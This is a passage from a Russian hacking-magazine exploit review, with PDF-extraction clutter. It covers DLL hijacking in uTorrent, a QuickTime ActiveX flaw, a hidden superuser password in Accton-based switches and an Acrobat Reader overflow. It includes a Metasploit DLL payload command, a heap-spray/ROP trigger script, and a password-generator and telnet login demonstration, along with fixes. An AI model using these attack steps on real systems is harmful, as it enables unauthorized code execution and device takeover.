таккакзнатьтакиемелочине всегдавозможно). Атакуможновыполнять, какяужесказал, через интернет, причемтакойфункционалтутжевошелвсоставMetasploit. Отом, какэтоможносделать, читайврубрикеуАлексеяТюринавэтом номере, мыжепоговоримотом, какипочемуэточудоработает.
EXPLOIT
Насамомделеникакихсекретовнет. Делов«привязанности» программистовккороткойформезаписиивлогикеочередностипоиска путивсистемеWindows :). Итак, известно, чтолюбоеприложениелюбитгрузитькучумодулейибиблиотек. Чтобыпрограммистмогудобно этоделать, существуетспециальнаяAPI-функция— LoadLibrary
(этовобщемслучае). Допустим, мыпрограммистыихотимнаписать программу, котораягрузитDLL’ку; повинуясьлогике, мыделаемтакой вызов:
LoadLibrary("bzik.dll");
Мыпривыкли, чтоDLL-файлылежатвдиректориисприложением, либовсистемнойдиректории, поэтомупутьнеуказывается. Новот Windows незнает, гдеименнолежитэтабиблиотека, иначинаетее искатьвследующихместах, отсортированныхпоочередностипоиска:
1.Директория, откуда приложение запущенно;
2.Системная директория;
3.Системная директория для 16-битных систем;
4.Директория Windows;
5.Текущая рабочая директория;
6.Директории из переменной окружения PATH.
Теперьосталосьпонять, чтотекущаядиректорияопределяетсятолько местом, откудабылвызваноприложение. Еслифайл, ассоциирован- ныйснашимприложением(.TXT-файлассоциировансблокнотом,
.TORRENT сuTorrent, .XLS сExcel’емит.д.) лежитвпапкеD:\zloba, то именноэтапапкаистанеттекущейдиректориейдлянас. Еслипапка лежитнарасшареномресурсе, то, соответственно, ресурсстанет рабочейдиректорией. Вспомним, чтошаруможнотуннелировать черезHTTP спомощьюWebDAV. Приэтом, еслиbzik.dll находитсяв однойиздиректорийпеременнойокруженияPATH, получается, если дваждыщелкнутьпоассоциированномуфайлу, откроетсяприложение, котороепопытаетсясначаланайтиbzik.dll всистемныхдиректориях, потомвпапкеD:\zloba, илишьпотомуспокоитсяинайдетего вдиректорииизPATH. Ночтобудет, еслирядомсассоциированным файломвD:\zloba положитьфайлbzik.dll? Тогдаприложениенапятом шагепоисканайдетегоизагрузит. Отсюдаипроблема: можноположитьассоциированныйфайл, узнатьимяDLL-библиотеки, которую онпопытаетсяподгрузитьизтекущейдиректории, ивсе— можно атаковать. РазберемнапримереuTorrent, популярногоклиентаP2P, ассоциированныефайлыкоторогоимеютрасширение.TORRENT. Попробуемнайтиимябиблиотек, которыебудутразыскиватьсяв текущейдиректории. Дляэтогосоздадимнарасшареномресурсе пустойфайлc расширением.TORRENT. Послеэтогооткроемутилиту мистераРуссиновича, ProcessExplorer, инастроимфильтры— нас интересуетдиректорияшарыипроцессutorrent.exe. Теперьвсефайловыеобращенияэтогопроцессакнашейшаремыувидимвокошке монитора. Посленастройкифильтрадваждыщелкнемпосозданному
.TORRENT-файлуипосмотримлогимонитора. Витогевидно, что
044 |
XÀÊÅÐ 11 /142/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
DLL Hijacking — определяем уязвимость
процессutorrent.exe пыталсянайтинанашейшареиподгрузитьдве библиотеки. Небудемогорчатьторрент-клиентиподсунемвшару рядомсярлыком.DLL-файлстемименем, которыйемунеобходим
— plugin_dll.dll. Вкачествепримеранашаверсияplugin_dll.dll будет содержатьнагрузкуизметасплойта— запусккалькулятора. Чтобы создатьбиблиотекустакойнагрузкой, воспользуемсяутилитой msfpayload изнабораMetasploit:
$ msfpayload windows/exec CMD=calc D > plugin_dll.dll
Повторныйзапускторрент-клиентачерезсозданный.TORRENT-файл судаленногоресурсавызоветзапусккалькулятора— вуаля, произвольныйкодвыполнен. Поискуязвимыхприложенийавтоматизирован, например, спомощьюсборкиотRapid7 — https://www.metasploit. com/redmine/projects/framework/repository/raw/external/source/ DLLHijackAuditKit.zip (этаутилитабыларассмотренавпрошломномеревразделеFAQ United). Наданныймоментсуществуетсписокуязвимыхпродуктов, которыйрегулярнообновляется— exploit-db.com/ dll-hijacking-vulnerable-applications/. Еслитыхочешьболееподробно разобратьсяспринципамиработыпоискапутипризагрузкеDLL, различнымиAPI-функциямидляконтроляэтогопорядка, тообэтом можнопочитатьуТаихоКвона(Taeho Kwon) иДжендонгаСу(Zhendong Su) вдокументеcs.ucdavis.edu/research/tech-reports/2010/CSE-2010- 2.pdf. Этотдокументбылопубликованпочтигодназад, нониктоне уделилемудолжноговнимания, аведьэтиребятатогдаужезаметили, чтоуязвимостьосталась, иеесодержатмножествоприложений.
SOLUTION
Сначаларешениякакбынебыло, иразработчикиПОсамификсили кодприложения, нопотомMicrosoft все-такипереборолисебяисде- лалификс, которыйпофактупозволяет:
•удалять текущий рабочий каталог из пути поиска библиотеки;
•запрещать приложению загружать библиотеку из папки WebDAV;
•запрещать приложению загружать библиотеку как из папки WebDAV, так и из расшареных ресурсов.
DLL Hijacking — список уязвимого ПО
Чтокасаетсяразработчиков, томожнообезопаситьсвоеПО, удалив текущуюдиректориюизпутипоиска:
SetDllDirectory("");
Разумеется, делатьэтонеобходимодовызововLoadLibrary.
02ЧЕРНЫЙ ХОД В APPLE QUICKTIME
TARGETS
* Apple QuickTime < 7.6.8
CVE
CVE-2010-1818
BRIEF
Тяжелаяработаупрограммистов— писатьсвойкод, разбиратьсяв чужомкоде, правитьего, дописывать, переписыватьит.д. Втакой ситуацииможночто-тозабытьилинезаметить. Поэтомувелика вероятность, чтовтакойобстановкепроявятсяуязвимости. Похоже, чтоименнотакаяштукаипроизошласпрограммистамикомпании Apple, которыекодилинебезызвестныйпроигрывательQuickTime. Уязвимостьдолгопряталасьвнедрахплеера, покавконцеавгуста
XÀÊÅÐ 11 /142/ 10 |
045 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
to |
BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||
w |
Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ВЗЛОМ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DLL Hijacking — эксплойт в действии
QuickTime — берем адрес из поддельного указателя
баг-хантерРубэнСантамарта(Ruben Santamarta) ненашелеепутем статическогобинарногоанализаActiveX-компонентыQuickTime.
EXPLOIT
ПервымделомРубэнзаметил, чтовкодеобработкипараметровсвойствобъектаестькодпроверкиналичияскрытогопараметра «_Marshaled_pUnk». ВдокументациикActiveX этотпараметрдажене упоминается:
push |
offset a_marshaled_pun ; "_Marshaled_pUnk" |
|
push |
ebx |
; Имя свойства |
call |
ebp ; lstrcmpiA |
; Сравним имя с "_Marshaled_pUnk" |
test |
eax, eax |
; Равны? |
jnz |
short loc_10002C4A ; Åñëè íåò, òî èäåì êóäà-òî òàì |
|
push |
edi |
; Указатель на строку параметра |
call |
sub_10001310 |
; Перевод значения строки в LONG |
add |
esp, 4 |
|
lea |
ecx, [esi+13B8h] |
|
push |
ecx |
; ppv |
push |
offset iid |
; iid |
push |
eax |
; Наш параметр (4 байта) |
call |
ds:CoGetInterfaceAndReleaseStream ; Вызов |
функции, где дескриптор iStream мы контролируем (eax)!
Как видно, все просто — то, что заносится в параметр _Marshaled_ pUnk, будет адресом дескриптора. Остальные параметры берутся из статичных мест, тем не менее Рубэн удивился, так как эти параметры вообще нигде больше не используются. Это странно, поэтому он скачал более древнюю версию QuickTime (6.5.1.17)
и увидел, что там этот код вовсю используется для обрисовки в текущем окне, для того данный параметр и применялся, чтобы указатель был на текущее окно. Только вот программисты, когда удаляли старый код и функционал, забыли удалить параметр, который влиял на дескриптор. Теперь мы можем менять хэндл, указывая на любой участок памяти, осталось только по этому адресу сымитировать интерфейс iStream с поддельным указателем vTable. Другими словами, Рубэн предлагает использовать Heap Spray для того, чтобы внедрить ROP-программу по отключению DEP и выполнению произвольного кода. Перед ROP разместить поддельный указатель vTable:
Heap addr |
Value |
15220c20 |
15220c18 // Подделываем указатель VTable |
-- ÑALL[15220c18+0x0C]
15220c24 |
ROP_ADDR |
// ROP-программа — первая инс- |
трукция делает из кучи стек |
||
15220c28 |
ROP_ADDR |
// а дальше обычная ROP-программа |
15220c2c |
ROP_ADDR |
|
15220c30 |
ROP_ADDR |
|
|
|
|
ТеперьHeap Spray займетпамятьпоадресу0x15220000, послечего выполняематаку:
var targ = 0x15220c20;
var obj = '<' + 'object classid="clsid:02BF25D5-8C17- 4B23-BC80-D3488ABDDC6B" width="0" height="0"' + '>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="' + targ + '"' + '/>'
+'</'+ 'object>';
document.getElementById('xpl').innerHTML = obj;
РаботающийэксплойтужевключенвсборкуMetasploit, такчто можешьпроверитьсвойQuickTime наналичиеуязвимости:). Хочу толькоотметить, чтотамошняяверсияработаетподверсию7.6.7 на Windows XP SP3. ПодсемеркоймешаетASLR, таккаквсемодулиплеераподдерживаютданнуюштуку. Темнеменее, можносамостоятель- нопереписатьROP-программу, используядругиесторонниемодулив памятипроцессабезподдержкиASLR.
SOLUTION
Решениебанальнодобезобразия— установипоследнююверсию
QuickTime (наданныймоментэто7.6.8).
03ЧЕРНЫЕ ХОДЫ В АКТИВНЫХ СЕТЕВЫХ УСТРОЙСТВАХ
TARGETS
*3Com 3812
*3Com 3870
*Edgecore ES4649
*Dell PowerConnect 5224
*Возможны и другие
CVE
N/A
046 |
XÀÊÅÐ 11 /142/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Диалог в комментариях к статье о проблемах в свитче между разработчиком и исследователем — мило :)
BRIEF
Развиваятемучерныхходов, нельзянеупомянутьпроинтересное исследование, сделанноегодназаднаконференцииHAR2009, где исследователиЭдвинИфтинг(Edwin Eefting), ЭрикСмит(Erik Smit) и ЭрвинДрэнт(Erwin Drent) опубликовалиинформациюотом, чтомногиеустройстватипа«Свитч», основанныенаAccton, имеютскрытый парольотсуперпользователя. Однакозагодничегонепроизошло— нипатчей, ниобновленийбазсканеровбезопасностей, тоестьвроде инфабыла, ате, ктоотвечаетзабезопасность, даженешелохнулись. Поэтомутоварищиповторноописалиситуацию, добавиливсписок новыеустройства, выложилиэксплойтинадеются, чтопроблемаполучитрешение. Так, собственно, очемжецелыйгоддонаспытались донестиэти исследователи?
EXPLOIT
Делобыловоткак: ЭрикхотелтупопоставитьLinux насвойсвитч, ив процессеотладкифирмварионобнаружилкакую-топодозрительную строку: «__super». Строкакак-тосвязанассистемойаутентификации, нодальшеразбиратьсябылозатруднительно, поэтомуЭрикпозвонилвтехподдержку. Посленебольшогоразговорасталопонятно, что этонужновслучае, еслипользовательзабудетпарольотсетевого устройства— позвонкувтехподдержкуможнополучитьуникальныйпароль, чтобыпользователисмогливойтивсистемубезсброса конфигурации, нопарольнакаждомсвитчеразный. Поэтомукогда Эриксказал, чтоонвродезабылпароль, техподдержкапопросила назватьMAC-адресустройства. Этойинформацииужебылодостаточно, чтобыисследовательсообразил, чтопарольгенерируетсянабазе MAC’а, и, впринципе, можнонаписатьгенераторпаролей... Сказано
— сделано. Конечно, быловсенетак-топросто, темнеменееребята досталипрошивку, разреверсилиееивытащилиалгоритмгенерации. Результатомэтойтрудоемкойработысталэксплойт-генераторпаро- лей, единственныйпараметркоторого— MAC-адрес. Такимобразом, достаточнополучитьэтотадрес, например, спомощьюARP-протоко- ла, или, еслиустройствовдругомсегментесети, поSNMP-протоколу. Послеэтогогенераторвыдастпароль, которыйподходиткаккSSH, такикtelnet- иHTTP-интерфейсам. Имяпользователя— «__super». Примерработыэксплойта:
1. Сначала получаем MAC свитча:
# arp -an | grep 10.0.1.2
?(10.0.1.2) at 00:0E:6A:CB:B4:41 [ether] on eth0
2.Получаем пароль суперпользователя:
Acrobat Reader — сертификат, заверенный VeriSign
#perl accton.pl 000E6ACBB441 !!98DMlH
3.Входим в систему:
#telnet 10.0.1.2
Trying 10.0.1.2...
Connected to 10.0.1.2.
Escape character is '^]'.
Login: __super
Password: !!98DMlH
Menu options: |
-------3Com SuperStack 3 Switch 3824 24- |
port--------------------- |
|
bridge |
- Administer bridge-wide parameters |
feature |
- Administer system features |
gettingStarted - Basic device configuration |
|
logout |
- Logout of the Command Line Interface |
physicalInterface - Administer physical interfaces
protocol |
- Administer protocols |
security |
- Administer security |
system |
- Administer system-level functions |
trafficManagement - Administer traffic management
Сампосебегенератор— этопростопоследовательностьматема- тическихоперацийсмагическимчисломибайтамиMAC-адреса. Генераторестьнадиске, можешьразбираться:).
SOLUTION
Разработчикпредлагаетограничиватьпользовательскийдоступк административномуинтерфейсупоIP-адресу:
XÀÊÅÐ 11 /142/ 10 |
047 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
to |
BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||
w |
Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ВЗЛОМ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Acrobat Reader — эксплойт в действии
Console#config Console(config)#management ?
all-client Adds IP addresses to SNMP, Web and Telnet groups
http-client Adds IP addresses to the Web group snmp-client Adds IP addresses to the SNMP group telnet-client Adds IP addresses to the Telnet group Console(config)#management all-client ?
A.B.C.D Starts IP address Console(config)#management all-client 192.168.1.1 ? A.B.C.D Ends IP address
Console(config)#management all-client 192.168.1.1 192.168.1.10
Крометогоразработчиксообщил, чтооннедремлет, иещегодназад убралвозможностьаутентификациипоэтомупаролюудаленно. Все-такиэтоприятно. Темнеменее, сделалонэтовтихую, итеперь непонятно, какаяпрошивкаимеетуязвимость, акакая— нет. Все-таки
Full-Disclosure бываетполезен:).
BRIEF
Самыйчастыйгостьнашегообзора— Acrobat Reader, вотивэтом месяцеонзаглянулнастраницынашегожурналасочередной уязвимостьюнулевогодня. Неизвестныезлоумышленникиопять воспользовалисьошибкойвэтомчудесномпродуктедляраспространениязаразысредиблагочестивыхпользователейсети. Новэтотраз эксплойтоказалсяещелучше, нежеливовсепредыдущие— вэтот разонобходилнетолькоDEP, ноиASLR. Достигнутоэтобылозасчет ROP вмодулях, которыенеподдерживалиASLR. Тоестьпо-нашемуэто ужебаян, новданномслучаеэтопервоепроявлениетакогоэксплойта вдикойприроде. Добавимковсемутотфакт, чтоPDF-файлсзаразой имелвалидныйсертификат— иполучаетсяужедовольнодейственная угроза. Теперьпобаловатьсяимможемимы.
EXPLOIT
Начнемсразборауязвимости. Ошибказаключается, какэтонибанально, впереполнениибуферавстеке. Проблеманачинается, когда Acrobat Reader пытаетсяпропарситьSIGN-таблицушрифтовTrueType.
04ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА В ADOBE ACROBAT READER
TARGETS
* Adobe Acrobat Reader <= 9.3.4
CVE
CVE-2010-2883
ЕЩЕ КОЕ-ЧТО...
Компания Abysssec объявила сентябрь месяцем 0-day’ев. Другими словами, каждый день сентября нас ожидало очередное описание новых и не очень уязвимостей, анализ бинарного кода, патчей и даже PoС. Были описаны проблемы в продуктах Micrososft, Mozilla, Sun, Novell, HP и т.д. Свои релизы они выкладывали на сайте exploit-db.com, так что если ты еще не успел заценить их публикации, советую просмотреть их. Полный список работ найдешь здесь — abysssec.com/ blog/2010/09/moaub-1.
048 |
XÀÊÅÐ 11 /142/ 10 |
|
|